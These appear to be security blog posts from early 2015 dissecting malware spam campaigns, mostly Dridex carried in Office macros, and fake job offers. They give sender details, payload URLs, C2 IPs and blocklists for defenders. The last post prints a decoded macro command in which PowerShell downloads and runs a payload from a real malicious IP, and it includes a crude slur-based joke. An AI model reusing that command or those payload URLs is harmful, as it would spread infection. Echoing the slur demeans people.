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Friday, 6 March 2015

Malware spam: "Your 2015 Electronic IP Pin!" / "Internal Revenue Service [refund.noreply@irs.gov]"

This fake IRS email comes with a malicious attachment.

From:    Internal Revenue Service [refund.noreply@irs.gov]
Date:    6 March 2015 at 08:48
Subject:    Your 2015 Electronic IP Pin!

Dear Member

This is to inform you that our system has generated your new secured Electronic PIN to e-file your 2014 tax return.

Please kindly download the microsoft file to securely review it.

Thanks

Internal Revenue Service
915 Second Avenue, MS W180

So far I have only seen a single sample of this with an attachment TaxReport(IP_PIN).doc - although there are usually several different versions. Currently this is undetected by AV vendors. This contains a malicious macro [pastebin] which downloads a component from the following location:

http://chihoiphunumos.ru/js/bin.exe

There are probably other download locations, but the payload will be the same. This is saved as %TEMP%\324235235.exe and has a detection rate of 1/55. Automated analysis tools [1] [2] show attempted connections to:

92.63.87.13 (MWTV, Latvia)
95.163.121.200 (Digital Networks CJSC aka DINETHOSTING, Russia)
104.232.32.119 (Net3, US)
87.236.215.103 (OneGbits, Lithunia)

According to the Malwr report this executable drops another version of itself [VT 1/56] and a malicious DLL [VT 2/56].

Recommended blocklist:
92.63.82.0/23
92.63.84.0/22
92.63.88.0/24
95.163.121.0/24
104.232.32.119
87.236.215.103

Malware spam: "Your online Gateway.gov.uk Submission"

This fake Government spam leads to malware.

From:    Gateway.gov.uk
Date:    6 March 2015 at 11:49
Subject:    Your online Gateway.gov.uk Submission

Government Gateway logo

Electronic Submission Gateway

Thank you for your submission for the Government Gateway.
The Government Gateway is the UK's centralized registration service for e-Government services.

To view/download your form to the Government Gateway please visit http://www.gateway.gov.uk/

This is an automatically generated email. Please do not reply as the email address is not
monitored for received mail.
gov.uk - the best place to find government services and information - Opens in new window

The best place to find government services and information

The link in the email leads to a download at cubbyusercontent.com and the payload is the same as this NatWest spam run also active today.

Malware spam: "You have received a new secure message from BankLine" / "Bankline [secure.message@business.natwest.com]"

This fake banking spam leads to malware.

From:    Bankline [secure.message@business.natwest.com]
Date:    6 March 2015 at 10:36
Subject:    You have received a new secure message from BankLine

You have received a secure message.

Your Documents have been uploaded to Cubby cloud storage.
Cubby cloud storage  is a cloud data service powered by LogMeIn, Inc.

Read your secure message by following the link bellow:

https://www.cubbyusercontent.com/pl/Business%20Secure%20Message.zip/_90ad04a3965340b195b8be98c6a6ae37


----------------
You will be prompted to open (view) the file or save (download) it to your computer. For best results, save the file first, then open it.

If you have concerns about the validity of this message, please contact the sender directly. For questions please contact the Bankline Bank Secure Email Help Desk at 0131 556 8719.

First time users - will need to register after opening the attachment.
About Email Encryption - https://help.business.natwest.com/support/app/answers/detail/a_id/1671/kw/secure%20message 
This downloads a ZIP file from cubbyusercontent.com which contains a malicious executable Business Secure Message.exe which has a VirusTotal detection rate of just 1/57.

Automated analysis tools [1] [2] [3] [4] show attempted connections to the following URLs:

http://all-about-weightloss.org/wp-includes/images/vikun.png
http://bestcoveragefoundation.com/wp-includes/images/vikun.png
http://190.111.9.129:14248/0603no11/HOME/0/51-SP3/0/ELHBEDIBEHGBEHK
http://190.111.9.129:14249/0603no11/HOME/41/7/4/


It also appears that there is an attempted connection to 212.56.214.203.

Of all of these IPs, 190.111.9.129 (Navega.com, Guatemala) is the most critical to block. It is also a characteristic of this malware (Upatre/Dyre) that it connects to checkip.dyndns.org to work out the IP address of the infected machine, it is worth checking for traffic to this domain.

The Malwr report shows several dropped files, including fyuTTs27.exe which has a VirusTotal detection rate of 4/57.


Thursday, 5 March 2015

Malware spam: "Credit Control [cc@pentafoods.com]"/ "Penta invoice I0026098"

This spam email does not come from Penta Foods, instead it is a simple forgery with a malicious attachment.
From:    Credit Control [cc@pentafoods.com]
Date:    5 March 2015 at 11:10
Subject:    Penta invoice I0026098

Please find attached your invoice I0026098

Regards,

Finance Team
Attached is a document I0026098.doc which comes in at least two versions with low detection rates [1] [2] which contain some macros [1] [2] that attempt to download a component from the following locations:

http://maloja.se/js/bin.exe
http://campusnut.com/js/bin.exe

This is the same payload as used in this earlier spam run. It currently has a VirusTotal detection rate of 12/56.


Malware spam: "Bobby Drell [rob@abbottpainting.com]" / "Brochure2.doc"

This spam does not come from Bobby Drell or Abbott Painting, instead it is a simple forgery with a malicious attachment.
From:    Bobby Drell [rob@abbottpainting.com]
Date:    5 March 2015 at 10:27
Subject:    Brochure2.doc

Please change the year to 2015.
Please confirm receipt
Thanks
Bobby Drell
Attached is a file Brochure2.doc which has a low detection rate which contains this malicious macro [pastebin] which downloads a component from the following location:

http://data.gmsllp.com/js/bin.exe

This is saved as %TEMP%\324235235.exe. Note that there may be different versions of this document that download files from different locations, but the payload should be identical. In this case the executable has a detection rate of 4/57.

Automated analysis tools [1] [2] show it phoning home to the following IPs:

92.63.87.13 (MWTV, Latvia)
95.163.121.200 (Digital Networks aka DINETHOSTING, Russia)

Usually this will drop a malicious Dridex DLL, although I was not able to obtain a sample.

Recommended blocklist:
92.63.82.0/23
92.63.84.0/22
92.63.88.0/24
95.163.121.0/24


Wednesday, 4 March 2015

"Remittance advice" spam has a mystery XML attachment

I haven't worked this out yet, but this appears to be a malware spam run using an XML document that contains an ActiveX element.

From:    Trudy Trevino
Date:    4 March 2015 at 09:29
Subject:    Remittance advice [Rem_0559ZX.xml]

Good morning

You can find remittance advice [Rem_0559ZX.xml] in the attachment

Kind Regards
Trudy Trevino
ROSNEFT OJSC
Other example fake senders are:
Georgette Whitfield
DELTEX MEDICAL GROUP

Jasmine Hansen
ACER INC

Jodi Cooper
JOHNSON SERVICE GROUP PLC

Rebekah Dodson
VICTREX

Edmund Molina
600 GROUP

Callie Brewer
BIOQUELL

Harriett Ferguson
BRISTOL & WEST PLC

Gabrielle Alvarado
JPMORGAN US SMALLER CO INV TST PLC

The name of the XML file in the attachment (and also the body text and subject) varies but is always in the format Rem_1234AB.xml. So far I have seen three different versions (clicking the MD5 leads to a Pastebin with the XML attachment):
The XML attachment contains a Base 64 encoded section which starts with the string "ActiveMime" which indicates that it is some sort of ActiveX element. I haven't been able to deduce the purpose of this, and the Malwr report is inconclusive but does show a command prompt being opened. The payload is most likely the Dridex banking given the other characteristics of the spam.

There's probably little reason to accept XML documents by email. Blocking these at your email gateway might be a good idea.

UPDATE 1

An analysis from another party indicates the following download locations:

http://92.63.87.12:8080/azvxjdfr31k/abs5ajsu.exe
http://178.32.184.11:8080/azvxjdfr31k/abs5ajsu.exe
http://46.30.42.90:8080/azvxjdfr31k/abs5ajsu.exe

The following are the servers the malware phones home to, I recommend blocking them:

62.76.176.203
46.30.42.171
74.208.68.243
37.139.47.111

More analysis to follow..

Malware spam: "John Donald [john@kingfishermanagement.uk.com]" / "Document1"

This rather terse email comes with a malicious attachment:
From:    John Donald [john@kingfishermanagement.uk.com]
Date:    4 March 2015 at 09:09
Subject:    Document1
There is no body text, but there is an attachment Document1.doc which is not currently detected by AV vendors, in turn it contains this malicious macro [pastebin] which downloads another component from the following location:

http://retro-moto.cba.pl/js/bin.exe

Note that there may be other different versions of this document with different download locations, but it should be an identical binary that is downloaded. This file is saved as %TEMP%\GHjkdjfgjkGKJ.exe and has a VirusTotal detection rate of 2/57.

Automated analysis tools [1] [2] show attempted network traffic to the following IPs:

92.63.87.13 (MWTV, Latvia)
104.232.32.119 (Net3, US)
87.236.215.103 (OneGbits, Lithunia)
108.61.198.33 (Gameservers.com / Choopa LLC, Netherlands)

According to the Malwr report it also drops another version of itself with a detection rate of just 1/57 plus a DLL with a detection rate of 7/56.

Recommended blocklist:
92.63.82.0/23
92.63.84.0/22
92.63.88.0/24
104.232.32.119
87.236.215.103
108.61.198.33

Sunday, 1 March 2015

Fake job offer: "ukhomejob.com" and many others

This spam email for a fake (and illegal) job is soliciting replies to ukhomejob.com. It is part of a nework of fraudulent domains, attempting to recruit victims into money laundering and other illegal activities.

From:    Victim
To:    Victim
Date:    1 March 2015 at 22:09
Subject:    Advice

Good day!
We considered your resume to be very attractive and we thought the vacant position in our company could be interesting for you.

Our firm specializes in advertisment services realizing unique products of creative advertising and branding strategies
and solutions to develop a distinctive brand value.

We cooperate with different countries and currently we have many clients in the USA and the EU.
Due to this fact, we need to increase the number of our destination representatives' regular staff.
In their duties will be included the document and payment control of our clients.

Part-time employment is currently important.
We offer a wage from 3500 GBP per month.

If you are interested in our offer, mail to us your answer on hermie@ukhomejob.com and
we will send you an extensive information as soon as possible.
Respectively submitted

Personnel department

This is related to this scam. Now though the IP used to receive emails is a Comcast IP of 98.221.25.74. The following domains are also related and are all fraudulent:

globbalpresence.com
recognizettrauma.net
gbearn.com
comercioes.com
eurohomejob.com
fastestrades.com
usaearns.com
idhomejob.com
ukhomejob.com
eurhomejob.com


The most likely "job" is money laundering, typically moving money out of stolen bank accounts and then passing on to someone in Eastern Europe. This activity is illegal, and there is a chance that you'll end up in jail at worst, or having to repay back the stolen money at best. Avoid.

Saturday, 28 February 2015

Fake job offer: tradeconstruction.co.uk, spoofing the legitimate Trade Construction Company LLC

This fake job offer claimed to be from a UK-based company called Trade Construction Company LLC using a website at tradeconstruction.co.uk. However, no such company exists in the UK, and this is a rip-off of a wholly legitimate US firm that is actually called Trade Construction Company LLC who are not involved in this scam at all.

From:    JOB ALERT [klakogroups@gmail.com]
Reply-To:    klakogroups@gmail.com
To:    Recipients [klakogroups@gmail.com]
Date:    27 February 2015 at 18:37
Subject:    NEW JOB VACANCIES IN LONDON.

Trade Construction Company,
L.L.C,
70 Gracechurch Street.
EC3V 0XL, London. UK

We require the services of devoted and hardworking workers, who are ready to work after undergoing enlistment training. in all sectors
as The Trade Construction Company Management intends to increase its man power base due to increasing number of customers and contract in the Company.


Available Positions

QUANTITY SURVEY, HEALTH EDUCATOR,CIVIL ENGINEER, FIELD SURVEY SUPERVISION, WELDER,MACHINES SUPERVISOR, MECHINARY OPERATOR,
CHEMICAL ENGINEER, AUTOMOTIVE MECHANIC, DESK OFFICER, ELECTRICAL ENGINEER, CONFERENCE & BANQUETING OPERATIONS MANAGER,
STORE KEEPER,ACCOUNT MANAGER, CASHIER, ASSISTANT MANAGER OF FRONT OFFICE, RECEPTIONIST, CLEANER, FOREIGN/INTERNATIONAL LANGUAGE INTERPRETERS,
MARKETING ASSISTANT, COMPUTER OPERATOR, INTERNET SERVICE EXPERT, SECURITY PERSONNEL, HR ASSISTANT,

The Company Management would be responsible to pay for your Flight Ticket and Accommodation.

All other information about benefits which would be received by new employees would be given in their application process.

So if interested, kindly send your CV/Resume via email to recruitment@tradeconstruction.co.uk



You can also apply directly at.

http://www.tradeconstruction.co.uk/apply_online.html
website: http://www.tradeconstruction.co.uk
Phone: +447990402584
   
The tradeconstruction.co.uk site is almost a bit-by-bit copy of the genuine tradeconstruction.com website.

The difference in content is minimal, but the fake site contains the following contact details:

Office Address:
TRADE Company House
70 Gracechurch Street London
EC3V 0XL
United Kingdom
Phone: +447990402584

Shop Addresses:
Office 208
3 Brindley Place
Birmingham, West Midlands
B1 2JB
United Kingdom
Fax: 225-658-8067 
These are actually the contact details for XL Insurance, who are obviously completely unconnected to this scam.

The fax number is invalid for the UK, and is actually just copied-and-pasted from the genuine site. The telephone number +447990402584  (07990 402584) is valid for the UK but it's a mobile phone number (possibly an untraceable prepay handset) so it could be anywhere.

As I said before, there is no company in the UK called Trade Construction Company and "LLC" is not a recognised type of UK company (typically they would be "Ltd", "PLC" or "LLP").

The WHOIS details for the domain are incomplete and unverified:

Domain name:
        tradeconstruction.co.uk

    Registrant:
        tradeconstruction

    Registrant type:
        Unknown

    Registrant's address:
        SOUTH ROAD
        ERDINTON
        BIRMINGHAM
        Birmingham
        B23 6EL
        United Kingdom

    Data validation:
        Registrant name and address awaiting validation


This is a residential area of Birmingham in the UK, but there is no house number and "Erdington" is spelled incorrectly. It certainly doesn't match the other contact addresses given.

Let's have a look at the mail headers to see if we can determine where this email actually came from.

Received: from mx.giki.edu.pk (mx.giki.edu.pk [121.52.146.229])
    by [redacted] (Postfix) with ESMTP id 91B60ED199
    for [redacted]; Sat, 28 Feb 2015 06:29:19 +0000 (UTC)
X-ASG-Debug-ID: 1425104952-04b09a633509b40001-Ozk3QL
Received: from mail.giki.edu.pk (mail.giki.edu.pk [121.52.146.226]) by mx.giki.edu.pk with ESMTP id 6NnzvLRyt5l62CxM; Sat, 28 Feb 2015 11:29:12 +0500 (PKT)
X-Barracuda-Envelope-From: klakogroups@gmail.com
X-Barracuda-Apparent-Source-IP: 121.52.146.226
Received: from localhost (localhost.localdomain [127.0.0.1])
    by mail.giki.edu.pk (Postfix) with ESMTP id 1127A11414ED;
    Sat, 28 Feb 2015 06:42:31 +0500 (PKT)
Received: from mail.giki.edu.pk ([127.0.0.1])
    by localhost (mail.giki.edu.pk [127.0.0.1]) (amavisd-new, port 10032)
    with ESMTP id m27tNjcw-XxF; Sat, 28 Feb 2015 06:42:30 +0500 (PKT)
Received: from localhost (localhost.localdomain [127.0.0.1])
    by mail.giki.edu.pk (Postfix) with ESMTP id 9E5A111414D7;
    Sat, 28 Feb 2015 06:42:30 +0500 (PKT)
X-Virus-Scanned: amavisd-new at mail.giki.edu.pk
Received: from mail.giki.edu.pk ([127.0.0.1])
    by localhost (mail.giki.edu.pk [127.0.0.1]) (amavisd-new, port 10026)
    with ESMTP id n3YhjtqX2niQ; Sat, 28 Feb 2015 06:42:30 +0500 (PKT)
Received: from [172.245.45.23] (unknown [172.245.45.23])
    by mail.giki.edu.pk (Postfix) with ESMTPSA id 214E611414ED;
    Sat, 28 Feb 2015 06:42:23 +0500 (PKT)
We can definitely say that this email spent a while bouncing around the Ghulam Ishaq Khan Institute of Engineering Sciences and Technology in Pakistan. It appears that it originated from a server at 172.245.45.23 which is a ColoCrossing IP suballocated to:

NetRange:       172.245.45.0 - 172.245.45.31
CIDR:           172.245.45.0/27
NetName:        CC-172-245-45-0-27
NetHandle:      NET-172-245-45-0-1
Parent:         CC-14 (NET-172-245-0-0-1)
NetType:        Reallocated
OriginAS:       AS36352
Organization:   naa (NAA-21)
RegDate:        2013-06-07
Updated:        2013-06-07
Ref:            http://whois.arin.net/rest/net/NET-172-245-45-0-1

OrgName:        naa
OrgId:          NAA-21
Address:        530 W. 6th Street Suite 901
City:           Los Angeles
StateProv:      CA
PostalCode:     90014
Country:        US
RegDate:        2013-06-07
Updated:        2013-06-07
Ref:            http://whois.arin.net/rest/org/NAA-21

OrgAbuseHandle: BRBA-ARIN
OrgAbuseName:   Baker, Rusdi bin abu
OrgAbusePhone:  +1-940-238-5499
OrgAbuseEmail:  rusdi.bin.abu.bakar@gmail.com
OrgAbuseRef:    http://whois.arin.net/rest/poc/BRBA-ARIN

OrgTechHandle: BRBA-ARIN
OrgTechName:   Baker, Rusdi bin abu
OrgTechPhone:  +1-940-238-5499
OrgTechEmail:  rusdi.bin.abu.bakar@gmail.com
OrgTechRef:    http://whois.arin.net/rest/poc/BRBA-ARIN


Note that this isn't saying that this "Rusdi bin abu Bakar" is sending the email, but a customer of theirs is.

Nothing about this job offer is legitimate. It does not come from who it appears to come from and should be considered to be a scam, and avoided.







Friday, 27 February 2015

Malware spam: "Dennys Invoice INV650988" / "accounts@dennys.co.uk"

This fake invoice email is not from Dennys but is a simple forgery with a malicious attachment. Dennys are not sending the spam, and their systems have not been compromised in any way.
From:    accounts@dennys.co.uk
Date:    27 February 2015 at 09:14
Subject:    Dennys Invoice INV650988

To view the attached document, you will need the Microsoft Word installed on your system.
So far I have only seen a single sample, with an attachment INV650988.doc which has a VirusTotal detection rate of exactly zero. This contains this malicious macro [pastebin] which downloads another component from the following location:

http://hew.homepage.t-online.de/js/bin.exe

This is saved as %TEMP%\324235235.exe and has a VirusTotal detection rate of 1/57.

According to the Malwr report, this executable then goes on and downloads another version of itself and a config file from:

http://apartmentprofile.su/conlib.php
http://paczuje.cba.pl/java/bin.exe


It drops several files, KB2896~1.EXE [VT 3/57], edg2.exe [VT 3/57] and a Dridex DLL which is much more widely detected (and we saw this same DLL yesterday). (If you have a Malwr account you can download a copy of everthing from here)

Between the Malwr and VirusTotal analyses, we see attempts to communicate with the following IPs:

198.52.200.15 (Centarra Networks, US)
95.211.144.65 (Leaseweb, Netherlands)
195.114.0.64 (SuperHost.pl, Poland)
92.63.87.13 (MWTV, Latvia)
78.140.164.160 (Webazilla, US)
59.97.137.171 (Broadband Multiplay Project, India)
104.232.32.119 (Net 3, US)

Some of these are shared hosting, I recommend for maximum protection that you apply the following blocklist:
92.63.82.0/23
92.63.84.0/22
92.63.88.0/24
198.52.200.15
78.140.164.160
59.97.137.171
104.232.32.119

Thursday, 26 February 2015

Malware spam: "Chris Christou [chris.christou@greysimmonds.co.uk]" / "Copy invoices"

This fake invoice spam comes with a malicious attachment:

From:    Chris Christou [chris.christou@greysimmonds.co.uk]
Date:    26 February 2015 at 10:45
Subject:    Copy invoices

Hello ,

Please find copy invoices attached as per our telephone conversation.

Kind regards,

Chris

Chris Christou
Credit Control
Grey Simmonds
Cranes Point
Gardiners Lane South
Basildon
Essex SS14 3AP
Tel:  0845 130 9070
Fax: 0845 370 9071
Email:  chris.christou@greysimmonds.co.uk
Web: www.greysimmonds.com

P  “Think before you Print” - Please consider the environment before printing this e-mail

It does NOT come from Grey Simmons, nor have their systems been compromised in any way. Instead, this is a simple forgery.

I have only seen one sample so far, with an attachment IGM135809.doc [detection rate 0/57] which contains this malicious macro [pastebin] which downloads a further component from:

http://xomma.net/js/bin.exe

This is saved as %TEMP%\GVhjJJVJH.exe and has a VirusTotal detection rate of 4/56. Automated analysis tools [1] [2] show it attempting to phone home to the following IPs:

92.63.87.13 (MWTV, Latvia)
78.140.164.160 (Webazilla, US)
86.104.134.156 (One Telecom, Moldova)
104.232.32.119 (Net 3, US)

This Malwr report shows dropped files with an MD5 of 590fc032ac747d970eb8818671f2bbd3 [VT 3/57] and 1997b0031ad702c8347267db0ae65539 [VT 4/57].

Recommended blocklist:
92.63.82.0/23
92.63.84.0/22
92.63.88.0/24
78.140.164.160
86.104.134.156
104.232.32.119

Wednesday, 25 February 2015

Malware spam: "Your LogMeIn Pro payment has been processed!"

This fake financial email does not come from LogMeIn, instead it has a malicious attachment:

From:    LogMeIn.com [no_reply@logmein.com]
Date:    25 February 2015 at 08:52
Subject:    Your LogMeIn Pro payment has been processed!

Dear client,

Thank you for purchasing our yearly plan for LogMeIn Pro on 25 computers.
Your credit card has been successfully charged.

Date : 25/2/2015
Amount : $999 ( you saved $749.75)



The transaction details can be found in the attached receipt.
Your computers will be automatically upgraded the next time you sign in.


Thank you for choosing LogMeIn!
Attached is a malicious Excel document called logmein_pro_receipt.xls with a VirusTotal detection rate of 0/56. Usually in a spam run like this there are several different versions of the document but so far I have only seen one, containing this malicious macro. The macro downloads a file from:

http://junidesign.de/js/bin.exe

This is saved as %TEMP%\GHjkdfg.exe and has a VirusTotal detection rate of 3/57. Automated analysis tools [1] [2] [3] show this calling home to the following IPs:

92.63.87.13 (MTWV, Latvia)
86.104.134.156 (One Telecom, Moldova)
217.12.203.34 (ITL, Bulgaria)
108.61.165.19 (Choopa LLC, Netherlands)
5.196.241.196 (OVH, Ireland)
66.110.179.66 (Microtech Tel, US)
202.44.54.5 (World Internetwork Corporation, Thailand)
95.163.121.179 (Digital Networks aka DINETHOSTING, Russia)
59.97.137.171 (Broadband Multiplay, India)
78.140.164.160 (Webazilla, US)
107.181.174.104 (Colo at 55, US / UA Servers, Ukraine)
I outlined some of the problems with MVTW in this post. The Malwr report shows that among other activities, this drops an executable that seems to be another version of itself [VT 3/57] and a malicious DLL which is probably a Dridex component [VT 4/57].

Recommended blocklist:
92.63.82.0/23
92.63.84.0/22
92.63.88.0/24
86.104.134.156
217.12.203.34
108.61.165.19
5.196.241.196
66.110.179.66
202.44.54.5
95.163.121.179
59.97.137.171
78.140.164.160
107.181.174.104

UPDATE:  a different version of the attachment [VT] uses this macro to download from:

http://jacekhondel.w.interia.pl/js/bin.exe

The payload is identical to the other variant.

Malware spam: 'Info Chemicals shared "MT 103_PO_NO!014.zip" with you' uses Dropbox

This spam leads to a malware download via Dropbox.

From:    Info via Dropbox
Reply-To:    hcm0366@gmail.com
Date:    25 February 2015 at 05:38
Subject:    Info Chemicals shared "MT 103_PO_NO!014.zip" with you
Signed by:    dropbox.com

From Info:

"Good day ,

How are you today
pls check attached, my manager had requested I email you our new order details together with TT copy of balance payment. Kindly confirm in return.

regards,

Frank Manner

Broad Oak Ltd, Tiverton, Tiverton Way, Tiverton Business Park, Tiverton, Devon, EX16 6TG
Registered No. 1971053 England & Wales
Telephone: +44 (0) 1884 242626
Facsimile: +44 (0) 1884 242602

Disclaimer :
This electronic mail transmission may contain material that is legally privileged and confidential for the sole use of the intended recipient. Any review, reliance or distribution by others or forwarding without express permission is strictly prohibited. If you are not the intended recipient or the employee or agent responsible for delivery of this message to the intended recipient, you are hereby notified that any disclosure, copying, dissemination, distribution or taking any action in reliance on the contents of this information is strictly prohibited and may be unlawful. If you have received this communication in error, please notify the sender immediately by responding to this electronic mail and then delete all copies including any attachments thereto from your computer, disk drive, diskette, or other storage device or media.

Maritim Barito Perkasa does not accept any liability in respect of communication made by its employee that is contrary to company policy or outside the scope of employment of the individual concerned."

Click here to view

(Info shared these files using Dropbox. Enjoy!)
The email has been digitally signed by Dropbox (which means exactly nothing) and is spoofing the wholly legitimate Broad Oak Ltd who have been a target of this sort of thing several times before.

In this case, the link in the email goes to:

https://www.dropbox.com/l/dFxVxjuDRo3j2oANVURy2v
and then to
https://www.dropbox.com/s/fnsprei93c45ts6/MT%20103_PO_NO!014.zip

Which leads to a malicious EXE file called MT 103_PO_NO!014.zip. Inside that is the malware itself, a file .pdf.scr which has a detection rate of 11/57. According to the Malwr report it drops another executable with a detection rate of 9/57. The payload looks similar to the Zeus trojan.

Also, according to Malwr and ThreatExpertit attempts to communicate with an apparent web-to-Tor gateway at

mmc65z4xsgbcbazl.onion.am

onion.am is hosted on 37.220.35.39 (YISP Colo, Netherlands) and I suggest this isn't the sort of thing that you want on your corporate network regardless of its legitimate uses.

Be aware that there are probably many other Dropbox locations in use for this spam run. If you see more, I suggest you forward the email to abuse -at- dropbox.com who are normally quite good at dealing with this sort of thing.

Tuesday, 24 February 2015

Malware spam: "ArsenaL LTD" / "document do confirm" / "Izabela Pachucka [pachuckaizabela@arsenalltd.pl]"

ArsenaL LTD are a wholly legitimate Polish firm, but they are not sending out this email nor have their systems been compromised in any way. Instead, this is a simple forgery with a malicious attachment.

From:    Izabela Pachucka [pachuckaizabela@arsenalltd.pl]
Date:    24 February 2015 at 08:56
Subject:    document do confirm

Dear customer

Attached plese find the invoice of January loading. Please sign it, stamp and send me back till Monday.

Thank You in advance

Izabela Pachucka

tel. +48-85-747-90-53
tel. +48 516 010 976
fax. +48-85-747-90-89

iza@arsenalltd.pl
--------------------------------------------------------
Arsenal LTD Spółka z ograniczoną odpowiedzialnością Spółka Komandytowa

15-688 Białystok ul.Przedzalniana 6H

wpisana do Krajowego Rejestru Sądowego prowadzonego
przez Sąd Rejonowy dla m.Białystok ,XII Wydział Gospodarczy
pod KRS 0000367679 , o kapitale zakładowym w wysokości
PLN 15 000 000,00 , o numerze NIP:542-31-83-714,
numerze Regon:200392749

cid:image002.png@01D030AD.6E9AF970

Joanna Grudzińska

tel. +48-85-747-91-50
tel. kom. +48 885-852-835

grudzinskajoanna@arsenalltd.pl
--------------------------------------------------------
Arsenal LTD Spółka z ograniczoną odpowiedzialnością Spółka Komandytowa


15-688 Białystok ul.Przedzalniana 6H

wpisana do Krajowego Rejestru Sądowego prowadzonego
przez Sąd Rejonowy dla m.Białystok ,XII Wydział Gospodarczy
pod KRS 0000367679 , o kapitale zakładowym w wysokości
PLN 15 000 000,00 , o nu


I have seen only a few samples, with an attachment roexport.xls or roexport.doc both of which are undetected by AV vendors [1] [2] and which contain two similar malicious macros [1] [2] which download another component from the following locaitons:

http://francis.behague.free.fr/js/bin.exe
http://dulcisinfundo.es/js/bin.exe

This is saved as %TEMP%\GHjkdfg.exe. The payload is identical to the one found in this earlier spam run.

Malware spam: "Berendsen UK Ltd Invoice 60020918 117" / "donotreply@berendsen.co.uk"

This fake invoice is not from Berendsen UK Ltd but is a simple forgery. They are not sending out the spam and their systems have not been compromised in any way. Instead, this email has a malicious Word document attached.

From:    donotreply@berendsen.co.uk
Date:    24 February 2015 at 08:09
Subject:    Berendsen UK Ltd Invoice 60020918 117

Dear Sir/Madam,

Please find attached your invoice dated 21st February.
All queries should be directed to your branch that provides the service. This detail can be found on your invoice.


Thank you.

___________________________________________________________
This e-mail and any attachments it may contain is confidential and
intended for the use of the named addressee(s) only. If you are not
the intended recipient, you have received it in error, please
immediately contact the sender and delete the material from your
computer system. You must not copy, print, use or disclose its
contents to any person. All e-mails are monitored for traffic data and
the content for security purposes.

Berendsen UK Ltd, part of the Berendsen plc Group.
Registered Office: 4 Grosvenor Place, London, SW1X 7DL.
Registered in England No. 228604
I have only seen one sample of this email, with a Word document IRN001549_60020918_I_01_01.doc which has a zero detection rate. Contained within this is malicious Word macro which downloads a component from the following location:

http://heikehall.de/js/bin.exe

This binary has a VirusTotal detection rate of 2/57. Automated analysis tools [1] [2] [3] show that it attempts to phone home to:

92.63.87.13 (MWTV, Latvia)
5.196.241.196 (OVH, Ireland)
66.110.179.66 (Microtech Tel, US)
202.44.54.5 (World Internetwork Corporation, Thailand)
78.140.164.160 (Webazilla, US)
31.160.233.212 (KPN, Netherlands)
185.14.30.98 (UA Servers, Ukraine)
86.104.134.156 (One Telecom, Moldova)


MWTV have featured several times on this blog. A close examination of their 92.63.80.0/20 block indicates a mix of legitimate and illegitimate sites, however the bad sites are concentrated in the following ranges:

92.63.82.0/23
92.63.84.0/22
92.63.88.0/24

In addition to this, the malware attempts to drop a Dridex DLL which is widely detected by AV vendors with a detection rate of 30/57.

Recommended blocklist:
92.63.82.0/23
92.63.84.0/22
92.63.88.0/24
5.196.241.196
66.110.179.66
202.44.54.5
78.140.164.160
31.160.233.212
185.14.30.98
86.104.134.156

Thursday, 19 February 2015

Malware spam: "State Department" / "Order state T/N:" with a hidden message

These spam emails claim both to be from the "State Department" and somebody else at the same time, so I guess they must have been sent by the intern at Dridex HQ. And also they have a hidden message, apparently aimed at me..

From:    Hollie Wyatt , State Department
Date:    19 February 2015 at 12:13
Subject:    Order state T/N:XZ3543_327

Your order is ready for collection at your chosen store.View full order details T/N:XZ3543_327 in attached document.

Thanks!
Hollie Wyatt .
PRAETORIAN RESOURCES LTD

----------

From:    Jodi Russell , State Department
Date:    19 February 2015 at 12:16
Subject:    Order state T/N:HD6061_902

Your order is ready for collection at your chosen store.View full order details T/N:HD6061_902 in attached document.

Thanks!
Jodi Russell .
BARON OIL PLC

----------

From:    Nathanial Mckinney , State Department
Date:    19 February 2015 at 13:26
Subject:    Order state T/N:UH0141_809

Your order is ready for collection at your chosen store.View full order details T/N:UH0141_809 in attached document.

Thanks!
Nathanial Mckinney .
SIRIUS MINERALS PLC
Attached is a ZIP file that largely matches the reference number in the email, and inside that is a malicious spreadsheet called Order.xls which contains this macro.

In there is the usual combination of an encrypted string and decryption routine. Feed one into the other and you get..
cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://85.143.166.123/ssdynamooss/sspidarss.cab','%TEMP%\FgdgFFFgfgF.cab'); expand %TEMP%\FgdgFFFgfgF.cab %TEMP%\FgdgFFFgfgF.exe; start %TEMP%\FgdgFFFgfgF.exe;
But wait.. what's this?
http://85.143.166.123/ssdynamooss/sspidarss.cab
"Пидар" is not in my limited Russian vocabulary, but it seems to translate as a tradition type of meatball in gravy.

Faggots with more sauce!  Hooray

Incidentally, 85.143.166.123 is a Pirix IP in Russia, and I have also seen malicious activity on the following Pirix IPs:

85.143.166.123
85.143.166.72
85.143.166.132

37.139.47.167
37.139.47.103
37.139.47.117
37.139.47.105

So I think I'm going to recommend blocking a couple of Pirix /24s at the end.

Anyway.

The macro downloads a file from http://85.143.166.123/ssdynamooss/sspidarss.cab which it saves as %TEMP%\FgdgFFFgfgF.cab and it then attempts to EXPAND it to %TEMP%\FgdgFFFgfgF.exe which doesn't quite work as expected, because the .CAB file is already an .EXE file. Must the the intern again. Anyway, EXPAND simply copies the file from CAB to EXE so it still works.

This executable has a VirusTotal detection rate of 8/57. Automated analysis tools [1] [2] plus some private sources indicate that this malware calls out to some familiar IPs:

82.151.131.129 (DorukNet, Turkey)
121.50.43.175 (Tsukaeru.net, Japan)
74.208.68.243 (1&1, US)

According to the Malwr report,  it drops the same Dridex DLL that has been doing the rounds all day, with a VirusTotal detection rate of 8/57.

Update:
A second spam run is happening, with various senders and subjects, for example:
Byron Pittman , Bill Department
Freda Kelly , Bill Department
Leroy Gallegos , Bill Department
Terrence Reyes , Bill Department
Tyson Miller , Bill Department
Marlene Morales , Bill Department
Royal Byrd , Bill Department
Larry Kramer , Bill Department
Jenna Sparks , Bill Department
Debra Thomas , Bill Department

LE8427_395.zip attached   
MM4565_687.zip attached
SL7772_820.zip attached
MF9529_495.zip attached
DH0645_249.zip attached
ED9340_241.zip attached
HJ7305_966.zip attached
UA0899_018.zip attached
HO2362_958.zip attached
JL3695_098.zip attached
There are three different ZIP files, containing either Order.xls, Confirmation.xls or order_tatus.xls (sic). The macro is similar to the one above, but has a couple of other download locations.
cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://134.19.180.44/ssdynamooss/sspidarss.cab','%TEMP%\FgdgFFFgfgF.cab'); expand %TEMP%\FgdgFFFgfgF.cab %TEMP%\FgdgFFFgfgF.exe; start %TEMP%\FgdgFFFgfgF.exe;

